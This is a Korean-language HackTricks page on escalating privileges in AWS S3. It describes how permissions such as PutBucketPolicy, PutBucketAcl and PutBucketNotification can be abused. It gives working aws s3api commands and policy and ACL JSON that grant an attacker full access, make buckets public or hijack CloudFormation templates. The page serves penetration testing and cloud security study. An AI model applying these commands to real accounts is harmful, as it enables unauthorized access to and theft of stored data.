AWS - S3 Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

해당 권한을 가진 공격자는 흥미로운 버킷에 대해 자원을 탈취하고 권한을 상승시킬 수 있을 수 있습니다.

예를 들어, **"cf-templates-nohnwfax6a6i-us-east-1"**라는 클라우드포메이션 버킷에 대한 해당 권한을 가진 공격자는 배포를 탈취할 수 있습니다. 다음 정책으로 액세스를 부여할 수 있습니다:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

그리고 허용된 것은 템플릿이 업로드된 순간부터 버킷에 배포될 때까지의 짧은 시간 창 때문에 해킹이 가능합니다. 공격자는 자신의 계정에 람다 함수를 생성할 수 있으며, 이 함수는 버킷 알림이 전송될 때 트리거되어 해당 버킷의 내용을 탈취할 수 있습니다.

Pacu 모듈 cfn__resouce_injection을 사용하여 이 공격을 자동화할 수 있습니다. 자세한 정보는 원본 연구를 확인하세요: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

이것은 S3에 객체를 가져오고 업로드하는 권한입니다. AWS 내부(및 외부)의 여러 서비스는 S3 스토리지를 사용하여 구성 파일을 저장합니다. 읽기 액세스 권한이 있는 공격자는 그 안에 민감한 정보를 발견할 수 있습니다. 쓰기 액세스 권한이 있는 공격자는 데이터를 수정하여 일부 서비스를 남용하고 권한을 상승시키려고 시도할 수 있습니다. 다음은 일부 예시입니다:

  • EC2 인스턴스가 S3 버킷에 사용자 데이터를 저장하는 경우, 공격자는 이를 수정하여 EC2 인스턴스 내에서 임의의 코드를 실행할 수 있습니다.

s3:PutBucketPolicy

이 권한을 가진 공격자는 동일한 계정에서 와야 하는 경우, 그렇지 않으면 오류 The specified method is not allowed will trigger가 발생할 것입니다. 이 권한을 가지고 있으면 버킷에 대해 더 많은 권한을 부여하여 읽기, 쓰기, 수정, 삭제 및 노출할 수 있습니다.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

공격자는 이러한 권한을 악용하여 특정 버킷에 대해 더 많은 액세스 권한을 부여할 수 있습니다. 공격자는 동일한 계정에서 올 필요가 없습니다. 더욱이 쓰기 액세스가 필요합니다.

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

공격자는 이러한 권한을 악용하여 버킷 내 특정 객체에 대해 더 많은 액세스 권한을 부여할 수 있습니다.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

해당 권한을 가진 공격자는 특정 객체 버전에 Acl을 넣을 수 있는 것으로 예상됩니다.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team 전문가)!

다른 방법으로 HackTricks를 지원하는 방법:

最終更新